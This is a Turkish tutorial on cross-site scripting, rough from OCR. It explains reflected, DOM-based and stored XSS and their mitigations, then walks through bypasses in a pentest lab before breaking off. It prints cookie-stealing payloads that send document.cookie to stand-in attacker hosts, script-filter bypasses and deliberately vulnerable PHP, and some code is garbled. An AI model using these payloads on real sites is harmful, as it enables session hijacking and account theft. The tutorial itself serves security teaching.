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XSS (Cross Side Scripting, CSS)

XSS (Siteler arasi betik ¢calistirma) zafiyeti, saldirganin html, css, javascript ile hazirlamis oldugu
zararh kod parcalarinin hedef kullanicinin(kurbanin) browserinda izinsiz olarak calistirmasina imkan
taniyan bir web uygulama guvenligi zafiyetidir. Baska bir deyisle; bir uygulamada bulunan XSS
zafiyeti saldirgana, hedef kullanicinin tarayicisinda zararli kod ¢alistirma imkani tanir. Bu imkan
neticesinde saldirgan, hedef kullanicinin oturum bilgilerini, ekran gérantusuna, tus girisleri gibi
bilgileri alabilir, uygulama iceriginin manupule edebilir. Bu zafiyet istismar edilirken bazen kurbanin
insiyatifine bagh olurken(Reflected ve DOM based turlerinde) bazen de saldirgan, kurban ile
muhattap olmadan da zafiyetten etkilenmesini saglayabilir(persistent tirunde).

XSS ile neler yapilabilir ?
a) Html ile;

- Html kodlar kullanilarak fake inputlar yerlestirilip veri calinabilir.

- Iframe etiketi kullanilarak baska sayfalar cagrilip veri alinabilir.

- Html meta refresh ile sayfa yonlendirelebilir.

. Ozetle icerigi html ve css kullanarak istediginiz gibi manipule edebilirsiniz.

Asil saldiri vektdrleri javascript kodu kullanarak gerceklestirilmektedir. Clinkd javascript ile daha dinamik islemler

yapabilmektedir.
b) JavaScript ile;

- En bilinen ve yaygin olan document.cookie ile kullanicilarin oturum bilgilerini almak.(Session
Hijacking)

- Ajax ile kullanici bilgilerinin alinip uzak sunucudaki bir dosyada kayit edilmesi.

- addEventListener fonksiyonu ile hedef kullanicinin butdn klavye, mouse, form etkilesimleri vs
kayit altina alinarak saldirganin kontrolunda olan bir uzak sunucuya génderilebilir.

- Bulunan sistemlere bagli olarak (camera hizmeti olan sistemlerde) kisinin kamerasindan anlik
ekran goruntusua alinabilir.

- XMLHttpRequest Nesnesiile istenilen bir adrese istek yapilabilir.

- DOM sayesinde JS ile sayfa icerigi rahatlikla degistirilebilir. Ornegin bir form taginin action
niteliginin degeri degistirilip kullanicinin form inputlarina girdigi (username,password, kredi karti
vs) hasas bilgileri alinabilir.(Phishing)

- Botnet agi kurulabilir.

- Kisaca javascript kodu ile yapabileceginiz her tlrlu islemleri yapabilirsiniz. Bu artik Uretkenliginize
kalan bir durumdur.

Beef framework tarayici odakli bir penetrasyon test aracidir. Biinyesinde
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barindirdidi bir ¢ok exploit ile tarayiciya yodnelik ciddi saldirilar
gerceklestirebilir.
XSS saldirisi da client side bir saldiri oldudu ic¢in bu zafiyet istismar

edilirken bazen bu tool kullanilir. Cinkid saldirgana isi daha fonksiyonel,

otomatize ve rahat bir
sekilde kontrol edebilme avantaji saglamaktadir.

Zafiyet neyden kaynaklanmakta?

XSS saldirilarin en temel nedeni kullanicilardan alinan inputlarin hicbir filtrelemeden gecmeden
isleme tabi tutulmasidir.Bu inputlar;

- kullanicidan form elemanlari araciligiyla alinan bir deger olabilir(search, login, register etc.),
- get metoduyla gdnderilen bir deger olabilir,

- http headerleri ile gonderilen bir deger olabilir,

- cookie, session id degerleri olabilir,

- bir file upload kisminda dosyanin kendisi veya dosyanin adi olabilir.

Ozetle; kullanicidan sunucuya giden herhangi bir verinin bir filtreleme islemine tabi tutulmadan
dogrudan kullanilmasindan kaynaklanir. Karsidaki her zaman siradan bir son kullanici olmayabilir.
Bu hicbir zaman goz ardi edilmemelidir. Gelistirilen her uygulama icin kullanicilari saldirgan olarak
dusunup uygulamayi o yonde gelistirmek gerekir.

Basit bir kod;

<?php

echo $ GET['cmd'];
2>

En kisa anlatimla yukaridaki kod id parametresinin aldigl degeri ekrana basiyor. Ne guzel :) Peki son
kullanici siradan deger degilde; html, javascript gibi istemci tarafindan calisan dillerin
keywordlerini(veya server side kisminda ¢alisan diller icin 6zel anlami olan karakterleri) kullaninca
ne olacak? Hicbir filtreleme islemi yapiilmadigi icin tabi ki de pasa pasa ¢alisacaktir. Cunkau ilgili
degerler kaynak kodun syntaxini bozmadig icin duzgun bir sekilde ¢alisacaktir. Yani kullanici cmd
parametresine <b>merhaba</b> degerini yazdiginda ekranda bold olarak merhaba yazacaktir. Bu
bizim icin sunu ifade eder. Html ve JS kullanarak istedigimiz gibi at kosturabiliriz. Ayrica yukaridaki
kod sadece xss zafiyetine yol acmamaktadir. Eger cmd parametresindeki deger veritabanina kayit
edilip tekrar yazdirilirsa bu sq1 injection zafiyetine de sebeb verecektir. iste kullanicidan alinan en
ufak bir verinin kontrolu bu kadar dnemli!

XSS Tarleri

XSS saldirisinda amac; hedef kullanicinin tarayicisinda bir sekilde zararh kod calismaktir. Bu amaca



ulasmak icin bir kac farkh yontem bulunmaktadir. Bu farkliliktan dolayi xss saldirilari simdilik 3 tare
ayrilmistir. Bizde bu siniflandirmaya sadik kalarak konuyu anlatacagiz.

Reflected XSS

Reflected XSS saldirisinda; kurbanin, hedef siteye istek yapmasi icin kullanacagi baglantida(link)
zararh kod parcasi bulundurmasidir. istek yapilirken bu zararh kod ifa edilir ve dénen cevap
saldirganin saldirganin kontrolunde olan bir uzak sunucuya génderilir. Burada énemli olan nokta;
zafiyetin istismar edilmesi tamamen kullanicinin insiyatifine kalan bir durumdur. Yani kullanici
zararh kod iceren baglantiya tiklamadig surece zafiyetten etkilenmeyecektir. Ayrica diger turlerine
oranla en ¢ok karsilasilan xss saldiri taradur.

GET metoduyla alinan bir g parametresinde reflected xss zafiyeti olan bir sistem tassavur edelim.
Yani soyle;

http://zafiyetlisite.com?g=

Saldirgan boyle bir senaryo karsisinda asagidakine benzer bir payload kullanacaktir.

<script>document.getElementById ("sazan") .src =

"http://saldirgan.com?snif.php?g="+document.cookie;</script>

Kodun meali;

Yukaridaki zararl kod; sayfada id secicisinin adi sazan olan bir elementi se¢iyor(bu elementin <ing
/> oldugunu kabul edelim). Ve src niteligine, saldirganin kontrolunda olan bir hostun adresini atiyor.
Bu hostta bulunan sniff.php dosyasina, g paremetresinde kurbanin cookie degeri olacak sekilde get
metoduyla bir istekte bulunuyor. Saldirgan da gelen bu istegi kayit altina aliyor ve boylece hedef
kullanicinin oturum bilgisini kendi oturum bilgisi ile degistirerek giris yapiyor.(Ornek senaryoda
bunun nasil yapildigini gorecegiz.)

Yani sonug olarak saldirgan asagida bulunan baglantiyi bir sekilde kurbana tiklatmak zorundadir.
Daha dogru bir sekilde ifade edersek; saldirganin, kurbana asagidaki baglantiya istek yapmasini
saglamasi gerekir. illa tiklamasi gerekmez. Kendi kontrolunda olan baska bir site tzerinde bulunan
src niteligine sahip bir elemente asagidaki baglantiyi gdmmesi yeterlidir. Kurbanin ruhu bile
duymaz. Daha derin dusununce aklima daha kotu seyler gelmiyor degil. Neyse :)

http://zafiyetlisite.com?g=<script>document.getElementById ("sazan") .src =

"http://saldirgan.com?snif.php?g="+document.cookie</script>

Ancak... we have a bit of problem. Kim bdyle bir baglantiya tiklar? Sazan olmayan biri olursa boyle
bir baglantidan iskilenip tiklamayacaktir. Bu tir durumlarda saldirgan link kisaltma servislerini
kullanmaktadir. O yuzden her gordugunuze tiklamayin :) Bazi eklentiler sayesinde kisaltilan linklere
tiklamadan da acik halini de gérmek mumkundur. Aklinizda olsun.

Ote taraftan saldirganin kullanacagi payloadlar sadece bununla sinirl degil. Ornegin asagidaki gibi
bir payload ile de saldirgan amacina rahatlikla ulasabilir.



http://zafiyetlisite.com?g=<script>document.location.href ("http://saldirgan.com?sni

f.php?g="+document.cookie)</script>

Saldirgan, kurbana yukaridaki baglantiya istek yapmayi basardiginda document.location.href
fonksiyonundan dolayi kullanici saldirganin belirtigi adrese yonlendirilecektir bu da saldirganin
istemedigi bir durumdur. Saldirilar daha ¢ok kurbana sezdirmeden yapilmaktir. Bu nedenle ilk
payloadimiz veya ona benzer payloadlar daha cok tercih edilmektedir. Dedigim gibi payloadlar
bunlardan ibaret degil saldirganin amacina ulasmasi icin bircok farkli payload ¢esidi vardir. Ancak
hepsinin tek bir amaci vardir;

Onemli olan kurbana ilgili requesti yapmayil basarmaktir. Ne sekilde olacadinin bir

6nemi yok, ama kurbana sezdirmeden yapilmasi tabi ki daha makbuldur.

Son olarak bu anlatiklarimizi 6rnek bir diyagram uzerinde gorirsek konunun tam anlasiimasina
faydasi olacaktir.

Attacker

Attacker's Server

Website

Website's Response Script

print "<html="
print "You searched for:"

print request.query['keyword']
print "</html="

Check this out:
http://website/search?
keyword=<script=>...<fscript>

GET http://attacker/?cookie=sensitive-data

GET
http://website/search?
keyword=<script>..</script>

Victim's Browser
200 OK

Website's Response to Victim

<html>
You searched for:

<scripts
window.location="http://attacker/?cookie="+document.cookie
</script>

</html=

1. Saldirgan site Uzerinde buldugu reflected xss zafiyetini kullanarak baska kullanicilarin oturum
bilgisini calmak icin zararh linki kurbana gonderir.

2. Kurban baglantiya tiklar ve ilgili siteye gider.

3. Ama ayni zamanda baglantida bulunan zararl kod da ifa edilir ve web sitesinden kurbanin cookie
bilgileri istenir ve doénen cevap kurbana iletilir.

4. Gelen cevapta kurbanin cookie bilgileri bulunur ve zararli olan js kodu cookie bilgilerini
saldirganin serverina gonderecek olan kodu isler.

DOM Based XSS

type-0 xss olarak da bilinen bu xss tur(, client side olup diger iki tiran(persistent ve reflected)
aksine ¢ok farkli bir mekanizmaya sahiptir. DOM tabanl xss zafiyetine gegmeden 6nce basitce DOM



yapisinin ne oldugundan bahsetmemizde fayda var.

DOM (Document Object Model), w3c organizasyonu tarafindan tanimlanan bir standartir.
Temel amaci bir belge icerisindeki yapiyli object-oriented paradigmasina
donistirmektir. Sadece html yapisina 0zgi olmamakla beraber herhangi bir belge de
dom yapisina sahip olabilir. En c¢ok duyduklanlar arasinda XML ve HTML dom yapisi
gelmektedir. Biz ise burada HTML DOM yapisini ele alacagiz.

HTML DOM, platformdan badimsiz olarak dider dillerin html ile etkilesime gecerek
bilgi alisverisinde bulunabilmesine imkan taniyan bir arabirimdir. Bu yapiya gore

bir html belgesindeki biitiin etiketler (hiyerarsik bir diizene gdre) nesne olarak

kabul edilip bu nesnelere erisilerek icerigi veya Ozellikleri
degistirilebilmektedir.

Basta soyledigimiz Uzere yapisi geregi diger iki tirden farkhdir. Cinku persistent ve reflected xss
zafiyetleri sunucu tarafli filtrelemeler ile engellenebilirken DOM tabanli xss de bdyle bir durum s6z
konusu degildir. Bunun nedeni ise; bazi sorgularin sonucuya iletilmeden kullanicinin browserinda
calismasi veya sunucudan cevap déndukten sonra sorgunun ifa edilmesiden kaynaklanmaktadir.
Ornegin, url'de bulunan # (diez, hash,fragment) karakterinden sonraki ifade sunucuya iletiimez.
Yani # den sonraki ifadeler icin herhangi bir http trafigi olusmaz. # ifadesi sayfa icerisinde bir
bdlume gecis yapmanin yaninda farkli amaclar icinde kullaniimaktadir. Size verebilecegim en iyi
érnek su an bu sayfanin sol Ust tarafinda bulunan icerikler kismi olacaktir :) ilgili baglantiya
tikladiginizda sayfa icerisinde ilgili bolume gelmektesiniz ve url yapisinda da # ifadesinden sonra
geldiginiz kismin id degeri yazmaktadir. Peki # karakterinden sonraki kismin sunucuya iletilmemesi
iyi bir olay mi?

Bir saldirganin géztnden bakarsak kesinlikle ¢ok iyi bir olay. Url'deki ifadenin bir kisminin sunucuya
iletiimeden tarayici tarafindan icra edilmesi tam olarak su anlama gelmektedir: Sunucu tarafindaki
alinan hicbir guvenlik ise yaramayacaktir. Canku zararli kod # ifadesinden sonra yazildigl icin
sunucuya iletilmiyor ancak sunucudan kullaniciya cevap dondukten sonra # ifadesinden sonraki kod
tarayici tarafindan ifa edilecek ve zafiyet bu sekilde istismar edilmis olacak.

var x = document.location.hash.split ('#')[1];

document.write (x);

Yukaridaki JS kodu; Url icerisinde bulunan # karakter(ler)ini referans alarak url adresini parcalar ve
olusan degerleri bir dizi icerisinde tutar. Olusan dizideki 2. elemani(veya indisi 1 olan elemani) x
degiskenine atar ve bu degiskeni document .write ile ekrana basar.

Eger gelistirici web uygulamasinin bir yerlerinde boyle bir kod kullanmis ise saldirganin bunu
kesfetmesi durumunda gelistirecegi payload gayet basittir.

http://site.comf<script>alert (1)</script>

Saldirgan yukaridaki payloadi kullanarak kurbana istek yapmaya calistiginda # karakterinden
sonraki deger sunucuya iletilmeyeceginden, sunucu tarafinda alinmis ¢ok ciddi filtreleme, sanitize,
encoding, white list vs. islemleri olsa bile bu durum dom-based xss zafiyetini engelleyemeyecektir.
CUnkU sunucuya # karakterinden sonraki ifade gonderilmeyecektir. # karakterinden dnceki istek



sunucuya yapilir ve sunucudan cevap déndukten sonra # karakterinden sonraki kod kullanicinin
browseri tarafindan ifa edilir. Bu saldiri vektoru client side bir yapiya sahip oldugundan dolayi
browser gelistiricileri bu durumu ¢ézmek icin tarayicinin kendi icinde guvenligi saglamaya
calismislardir. Yukaridaki js kodunu calistirip payloadi denediginizde alert alamayabilirsiniz. Cinku
Chrome, xss auditor diye adlandirdigi, kullaniciyi xss saldirilarindan korumak icin bir gtvenlik
saglamis, firefox ise encoding islemine tabi tutacagindan payload ¢alismayacaktir.

Chrome bir cok xss payloadini giivenlik nedeniyle engellemektedir. Bu yazinin ikinci
ana bolumiinde anlatidim testleri denerken chrome kullanirsaniz biylk ihtimalle
orneklerin codgunda alert alamayacaksiniz. (Firefox kullanin.) Bu nedenle xss
zafiyeti ararken chromeda (veya baska bir tarayicida olabilir) hata almamaniz xss
zafiyetinin olmadidi anlamina gelmemektedir. Clnki her tarayici bazi standartlara
uymayip kendi standartlarini olusturmaya/dayatmaya calistiklarindan dolayi ayni
kodlar farkli tarayicilarda farkli sonuclar verebilmektedir. Tarayicidan tarayiciya

farkli sonuclar almaniz sizi sasirtmasin yani. Ozellikle front-end gelistiricileri

bu durumu c¢ok iyi bilmektedir. Buna binaen xss zafiyeti ararken ayni payloadi
farkli tarayicilarda denemekte fayda var.

Hi, world...

%3Cscript%3Ealert(1)%3C/script%3E

Ote taraftan dom based xss client side bir saldir oldugundan diger tarayicilar gibi firefoxda
kullanicilarinin bu zafiyetten etkillenmeleri icin encoding islemi yapmaktadir. Mesela firefox #
karakterinden sonraki ifadeyi encoding isleminden gecirdigi icin yukaridaki payloadimiz firefoxda da
calismayacaktadir. Firefox, diger xss turlerinde chrome gibi herhangi bir engelleme yapmamaktadir.
Chrome veya firefox'un eski surimlerinde bu temel payloadlar ¢alismaktadir. Kim guincel olmayan
bir tarayici kullanir ki diyebilirsiniz. Bunlar temel payloadlar oldugu icin sezgisel olarak chrome
engelleyebiliyor ancak chrome'un yakalayamadigi cok complex payloadlar bulunmaktadir. Ayrica
chrome da bulunan XSS Auditor bypass edilebilmektir.

Bu yazinin yayinlanmasi yeterince geciktiginden XSS Auditor'un nasil calistigini ve nasil
bypass edilecegini baska bir yazida ele alacagim insallah.



Hi, % 0] | Elements Console Sources Network Timeline > @1 i X
® ¥ tp ¥ Preserve log

@ »The XS5 Auditor refused to execute a script in xs55.html:12
"file:///home/mint/Desktop/xss.htmlé<script>alert(l)</script>' because its
source code was found within the request. The auditor was enabled as the
server sent neither an 'X-XSS-Protection' nor 'Content-Security-Policy'

1 view-source:file:///home/mint/Desktop/xss.html#<script>alert(1)</script> w o l26CT

>

xss.html#<script>alert(1)</script> - Chromium

xss.html#<script>ale

2| <html lang="en">
3| <head>
<meta charset="UTF-8">
s <title=DOM Based XSS - musana.net</title>
5| </head=
7 <body>
5| Hi,

10 <script>
var x = document.location.hash.split('#')[1];
document.write(x);

</script=
15| </body>
15| =/html>

Yukaridaki resim bize bazi noktalarda énemli bilgiler vermketedir. Oncellikle sayfanin kaynak
koduna baktiginizda payloadimizin gérunmedigini goreceksiniz. DOM based xss zafiyetinde payload
sayfanin kaynak kodunda gérinmez. Ancak gelistirici araclarindan bakarsaniz gérebilirsiniz.
Yukarida gormus oldugunuz Uzere gelistirici araclarindan baktigimizda kirmizi olarak gorulen
bdlumde, xss.html dosyasinin 12. satirinda yer alan kodun tehlike arz etmesinden dolayi xss
auditorun scriptte yer alan ilgili kodu ¢alistirmadigini sdylUyor. Google xss zafiyetinin sebeb olacagi
tehlikeleri goz ardi etmediginden kullanicilarini bu tehtitten korumak i¢in boyle bir gtvenlik dnlemi
almis. Bizi bizden daha ¢ok dusunuyorlar. Eksik olmasinlar(!) Kullanirken dikkat edilmedigi taktirde
dom-based xss zafiyetine sebeb veren js fonksiyonu yukarida verdigimiz
document.location.hash.split den ibaret degildir. Asagidaki js kodu da pek ala dom-based xss
zafiyetine sebeb olmaktadir.

var name = location.hash.slice(1l);

document.write ("Hello "+name) ;

Bu zafiyetin birde jquery boyutu var tabi. JQueryde seciciler(Selectors); bir html doékimanindaki
etiketleri, idleri, c1asslari segcmek icin kullanilan bir yapidir. Bunun bizi ilgilendiren tarafi ise;
seciciler ile sectiginiz bir id, class veya html etiketine bazi metotlar kullanarak dinamik bir sekilde
ekleme yapabilmemizdir. Asagidaki listede kullanirken ¢ok dikkat etmemiz gereken jquery
metodlari payloadlariyla beraber verilmistir.(sazan adli bir id degerimizin oldugu varsayilmistir.)

$('<script>alert(l);</script>') .appendTo ('#sazan') ;
$('<script>alert(l);</script>') .prependTo ('#sazan') ;
$('#sazan') .after ('<script>alert (1) ;</script>"');
$S('"#sazan') .before ('<script>alert (1l);</script>"');

$('#sazan') .prepend ('<script>alert (1) ;</script>"); "

$S('"#sazan') .html ('<script>alert (1) ;</script>");

$S('#sazan') .append ('<script>alert (1) ;</script>"');




Defalarca dedik yine diyelim; Kullanicinin midahale edebilecegi yerlere veya kullanicidan deger
aldiginiz yerlere ¢cok ama cok dikkat ediniz!

Bu yapinin da net anlasilmasi adina diyagram uzerinde gosterelim.(Diyagramlar genelde konu
basinda verilir ama neden ben konu sonunda veriyorum bilmiyorum.)

Attacker Website

Attacker's Server

Website's Response Script

print "<html>"
print "You searched for: <ems</ems"

print "<script>"

print "var keyword = location.search.substring(6);”

print "decument.querySelector('em’).innerHTML = keyword;"
print "</scripts"
print "</html>"

Check this out:
http[:il' 'website/search?
keyword=<script>..</script>

GET http://attacker/?cookie=sensitive-data

Victim's Browser

Website's Response to Victim After innerHTML Manipulation

<html=

You searched for: <ems<scripts...<fscripts</em=
<scripts

var keyword = location.search.substring(6);
document.querySelector("em’).innerHTML = keyword;
</scripts>

</html=

200 0K

GET
Website's Response to Victim httpl:!fwebmtefsearch?

keyword=<script>...</script>

<html=

You searched for: <ems</em>

=scripts

var keyword = location.search.substring(6);
document.queryselector(’'em”).innerHTML = keyword;
</script=

</html=

1. Saldirgan hedef sistemdeki dom-based xss zafiyetini kullanarak oturum bilgisini calmak istedigi
kullaniciya payloadi ile beraber linki gdnderir.

2. Kullanici(victim) baglantiya tiklayip zafiyetli siteye girer.

3. Zafiyetli site kullaniciya normal bir cevap déner ancak site; kendisini ziyaret eden kullanicilarin
yaptigl sorguyu js ile ekrana yazmaktadir.
(Payload henuz execute edilmemistir.)

4. Zafiyetli siteden cevap dondukten sonra saldirganin sorgu parametresine yazdigi payload
kurbanin tarayicisi tarafindan ifa edilir.

5. Kurbanin oturum bilgileri saldirganin sunucusuna gonderilir.

Stored(Persistent) XSS

Kullanicidan alinan verinin yeterli filtrelemeden gecmemesi sonucunda veri tabanina kayit
edildikten sonra kayit edilen bu veri baska bir yerde kullaniimak Uzere veri tabanindan cekilecegi
sirada ortaya ¢ikan bir xss zafiyet turadur. Diger turlerine oranla ¢ok daha tehlikelidir. Cank bu xss
zafiyet tUrande zararli kod veri tabanina kayit edilir. Bu da su anlama gelmektedir; Sisteme kayith
olan kullanicilar zafiyetten etkilenen sayfayi ziyaret ettikleri anda oturum bilgilerini farkinda
olmadan saldirgana kaptirirlar. Tehlikeli olan nokta tam da burasi iste. Saldirganin kimseyle
muhattap olmamasi... Diger xss turlerinde saldirgan, kullanicilara ilgili baglantiya bir sekilde istek



yaptirtmaya calisir ama burada boyle bir durum séz konusu degildir. Payloadin kendisi sitenin veri
tabaninda kayitli zaten. Sadece payloadin select edilecegi sayfayi kullanicin ziyaret etmesi yeterli. Bu
durumda sadece bir kisi veya bir grup degil sistemde kayitli olan herkes zafiyetten etkilenmis olur.
Diger xss turlerinde fazla detaya girdigimiz icin bu ttran teknik olarak digerlerinden ¢ok bir farki
bulunmamakta. Sadece bu sefer isin icinde veri tabani girmektedir. Bu da saldirinin kapsamini ve
tehlikesini ciddi anlamda buyutmektedir.

Kullanicilarin yorum yaptigi bir sistem dustinelim. Ve back-end kisminda soyle bir kod yaziimis olsun.

<?php

#yorumlar.php sayfasi. Kullanicilarin yorum yazmasl veya yazilan yorumlari okumasi
icin kodlandai.

#veri tabani baglantisi ve secimi vs. yapildi...

Smesaj = S POST['mesaj'];

Suser = S POST['user'];

Sekle = mysgl query (INSERT INTO yorumlar (user, mesaj) VALUES('Suser',
'$mesaj'));

$q = mysgl query (SELECT * FROM yorumlar);

while (Srow = mysgl fetch array($Sqg)) {

echo Srow['user']." - ".Srow['mesaj'];

}

?>

Eminim yukaridaki kodu yazacak junior developerlar bile yoktur artik. Ancak amacim basit bir rnek
ile mantigini anlatmak oldugundan bodyle bir kod yazdim. Yukaridaki kodda mysql database ile islem
yaptik ama diger databaselerde de yukaridakine benzer fonksiyonlar ile islem yaptirirsaniz durum
degismeyecektir yine. isterseniz php'deki oracle database ile islem yapmak icin kullanilan oci_*
fonksiyonlarini kullanin bir sey degismeyecektir. Bu gibi dUz database islemleri yaparsaniz cok
buyuk intimmale zafiyet birakirsiniz ki php'de zaten artik bu fonksiyonlari tavsiye etmiyor ve
kullanicilarinin ya mysqli yada pdo kullanmaya zorluyor. Neyse konu fazla dagiimasin. Sonug olarak
kullanicidan gelen veriyi temizlemeden dogrudan sql sorgusuna sokulmasi hem sqli hemde xss
zafiyetine sebeb olmaktadir. Yukarida olan durumda tam olarak bu. Php icin PDO sinifini
kullanirsaniz filtrelemeler ile ugrasmaniza gerek kalmaz. PDO sinifi, php ile veritabani arasinda
glvenli bir sekilde veri alisverisi yapmak ve diger veri tabanlar destegi sayesinde oldukca kolayhk
saglamaktadir veya orm kullanabilirsiniz. Ornek senaryo béliimiinde bu zafiyet tar kullanildigs icin
gerekli detayi videoda izleyebilirsiniz.

XSS Zafiyetinin C6zumu

Simdiye kadar hep bir saldirganin gézuyle sisteme baktik ama bu baslikta bir devoloper olarak
duruma yaklasacagiz ve gelistirecegimiz uygulamalarda xss zafiyeti birakmamak icin bazi ipuglari
verecegiz.



Girdi Kontrolleri

Zafiyete, kullanicinin madahale edebildigi alanlar veya kullanicidan alinan veriler sebeb oldugu icin
¢6zumu de burada arayacagiz. Girdi denetiminleri ¢ok siki sikiya yapildigi taktirde bu zafiyet ortaya
ctkmayacaktir. Simdi bu denetimlerde kullanilan kabul gérmus ¢6zUm tekniklerine goz atalim.

White List Teknigi

Pozitif girdi denetimi olarakta bilinen bu ¢6zim metodunda kullanicidan gelecek olan
verilerin(karakterlerin, kelimelerin vs) hangilerine izin verilecegi belirtilir. Ornek vermek gerekirse
kullanicidan sadece alfanumeric degerler aliyor isek (yani A'dan Z'ye ve 0'dan 9'a) bunu regex ile
ifade ederek sadece kabul edecegimiz verileri belirleriz. Bu durumda kullanicidan gelecek olan 6zel
karakterlerin butinunu kabul etmemis oluruz. Baska bir 6rnek daha verecek olursak kullanicidan
aldigimiz degerler sadece belli kelimeler veya ifadelerden ibaret ise sadece kabul edebileceklerimizi
belirler, belirledigimiz degerler disinda gelen degerleri isleme almayiz.

Black List Teknigi

Bu teknikte ise white list'in aksine kullanicidan gelen veriler arasinda kabul etmediklerimizi belirleriz.
White list gibi saglam gorunse de aslinda hi¢ dyle degildir. Bu ¢6zim tekniginde olasiliklar ¢cok fazla
ve bir tanesinin bile gozinuzden kagmasi zafiyete sebeb olmaktadir.< , ', >, " karakterlerini
engellediginizde bunlarin hex formatini da engelleyeceksiniz encode edilmis hallini de
engelleyeceksiniz yazilan koda gore degisiklik gostermekle beraber bazen bu karakterler
kullanilmadan da zafiyet olusabilmektedir. Bu durumda script kelimesini engellemelisiniz, alert,
prompt, confirm, hex formatlari, char formatlari vs vs kilfetten baska bir sey degil gérdugunuz gibi
olasiliklar ¢ok fazla ¢iinka.

Sanitize

Sanitize yonteminde kullanicidan gelen veri aritilir/temizlenir. Kullanicidan gelen veriler arasinda
yasakli karakterler(black list)/izin verilmeyen karakterler(white list) bulunmasina ragmen bunu
isleme almamak yerine veri icerisindeki zararli/istenmeyen karakterler veriden c¢ikarilarak verinin
temizlendikten sonra isleme alinmasi yontemidir. Bu ¢6zum yoluda gelistirdiginiz uygulamadada
xss zafiyeti birakma olasiliginizi cok cok dustrmektedir.

Encoding

Gelen veri icerisindeki 6zel karakterlerin baska bir formata dénutsturultp artik 6zel anlamini
yitirmesi durumudur. Yukarida dom-based xss turtunde firefox tarayicisinin kullanicilarini bu
zafiyetten korumak icin tam olarak yaptigi encoding islemidir. Html ve url encoding web
saldirilarindan korunmak icin en sik basvurulan kodlamalardandir. <, >, ', r gibi karakterleri
encode isleminden gecirdiginizde bazi web tabanli saldirilarindan(sqli, xss, code inj.) korunmak icin



kayda deger bir dnlem almis olursunuz, ama tabiki tek basina bu ¢6zim yeterli degildir.

Gelistireceginiz uygulamada yukarida sunulan ¢6zum stratejilerinden birkacini beraber kullanirsaniz
bu zafiyete mahal vermemis olursunuz. Girdiyi birka¢ asamadan gecirdiginizde guvenligi artirmis
olursunuz. Yani 6nce white ve black list yontemi ile girdiyi temizle sonra encoding uygula en
sonunda veriyi isleme al.

Glivenlik camiasindaki su meshur s6zi duymussunuzdur; En zayif halkaniz kadar
guvendesinizdir. Giivenlik bir bitin olarak ele alinmalidir. Sisteminizi parcalara

ayirip her parcanin givenligini ayri ayri sagladiginiz takdir de parcalarin

olusturdugu biitiin giivenli sayilir. Aksi halde tek bir parcadan kaynaklanan zafiyet
biitiin sistemi riske atmaktadir.

Web for Pentester

Bu teorik bilgilerimizi uygulamayabilmek icin bir pentest lab ortami kuracagiz. Bunun i¢in bu linkte
bulunan iso dosyasini indirip wmware veya virtual box gibi sanallastirma yazilimlarini kullanarak
calistiracagiz. Ve bu sanal makinenin ip adresini kendi tarayicimiza yazdigimizda asagidaki ekranla
karsilasirsak nema problema. Googledan web for pentester diye aratirsaniz sayfalarca sonug
cikacaktir.

Web For Pentester

This exercise is a sef of the most common web vulnerabilities
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Xss zafiyeti araken korid koriine random payloadlar yazmak yerine, ilgili parametreye

dogrudan biutin 6zel karakterleri (<,',<,") yazip hangilerinin filtrelendigini



https://isos.pentesterlab.com/web_for_pentester_i386.iso

goérebiliriz, ve buna dayanarak daha makul ve yerinde payladlar yazarak zamandan

tasaruf edebiliriz.

Simdi XSS kategorisindeki caseleri ¢6zmeye baslayalim.
Example 1

Url'de http://192.168.46.128/xss/examplel.php?name= gordugunuz Uzere example1.php dosyasi,
get metodu ile name parametresine aldig| degeri ekrana basiliyor. Yukaridaki trickte bahsettigimiz
gibi 6zel karakterlerimizi yazarak sayfanin kaynak kodunda olusan degisimi gézlemleyip ona gore
payload gelistirelim.

http: 192 168 46.128ss/example1.php?name=%3Cscript%3Ealert(window location.href)%3Ciscript%3E

echo $_GET["name"];

<?php reguire_once '../footer.php'; %>

Alerti basarili bir sekilde aldik. Simdi kaynak koduna bakip 2. Ornege gecelim.
Hellao
alert (1} <fo
<prECODY:
Kaynak koddan goérdugunuz gibi kullanicidan gelen veri hi¢ sizulmeden dogrudan ekrana
basiimaktadir. Bundan daha buyuk hata olabilir mi?

Example 2

Url yapisi ilk casemiz ile ayni. Ancak ilk 6rnekte kullandigimiz payloadi burda denedigimizde text

olarak “Hello alert (1)~ ciktisini aliyoruz.
Hellao
alert (1} <fo
<prECODY:

Burda olan islemden su sonucu ¢ikarabiliriz; yazdigimiz javascript kodu ¢calismadi. Cunku ekranda
alert(1) ifadesi text olarak gorindd bunun anlami ise gelistirici script keywordund filtrelemis. Peki



bunu nasil bypass ederiz? En temel sekilde buytk-kucuk yazariz.
Payloadimiz: <scRipt>alert (1)</sCriPT>
SEr S W cat exampleZ.php

require_once '../header.php’';

$_GET["name"] ;

Ename) ;
Fname) ;

Fr 2 PN TRT
Ename;

rhp reguire_once .. /footer.php's

Kaynak kodu inceledigimizde, get metoduyla name parametresine verilen deger name degiskenine
atanmistir ve preg replace () fonksiyonu sayesinde name degiskeninde eger <script> veya
</script> kelimeleri geciyor ise bunlari silmektedir/degistirmektedir.

Example 3

Url adresimizdeki name parametresi dikkatimizi cekmis olmali. Ozel karakterlerimizi kullanip
herhangi bir filtrelenme var mi diye kontrol edelim. Sayfanin kaynak koduna baktigimizda 6zel
karakterlerimizin filtrelenmedigini goruruz. Ve sazan gibi en temel payloadimiz olan
<script>alert (1) </script>Yyazlyoruz. Hopaaa! Script keywordu engellenmis :/

Hello
alert (1}
<footer>

script keywordunu buyuk-ku¢uk yazmamiza ragmen ise yaramayacaktir. O zaman ne yapabiliriz?
Okumayi burda birakip biraz dasinun :)

Cevap, i¢ ice yazmak. Yani <scr<script>ipt>alert (1)</scr</script>ipt>.Bu payload arkada
nasil isleyecek peki? Name parametesine yazacagimiz payloadlarda gecen <script> keywordlerini
silecegi icin geriye yine <script> keywordu kalacaktir. Ve payloadimiz basariyla ¢alisacaktir.

hitp:i192 168 46.128Mss/example3 php?name=%3Cscri%3Cscript¥% 3Epti3Ealert(window location href)%3C/scri%3Ciscript® 3Eptt% 3E

Yani uzun lafin kisasi payloadimiz: <scri<script>pt>alert (1)</scri</script>pt>



@debian: /varsuwws/=ss$: cat exampled.php
hp require_once . der.php': 7>
lo
<?php

Ename $_GET["name'] ;

Ehame d _re ip N gname) s
: / $name) ;
echo Fname;

<?php reguire_once '../footer.php';

Kaynak kodu inceledigimizde gordugumuz gibi script kelimesi temizleniyor.

Regex de /i ifadesi buyuk-ki¢ik harflere karsi duyarsizligi ifade ediyor. Yani siz

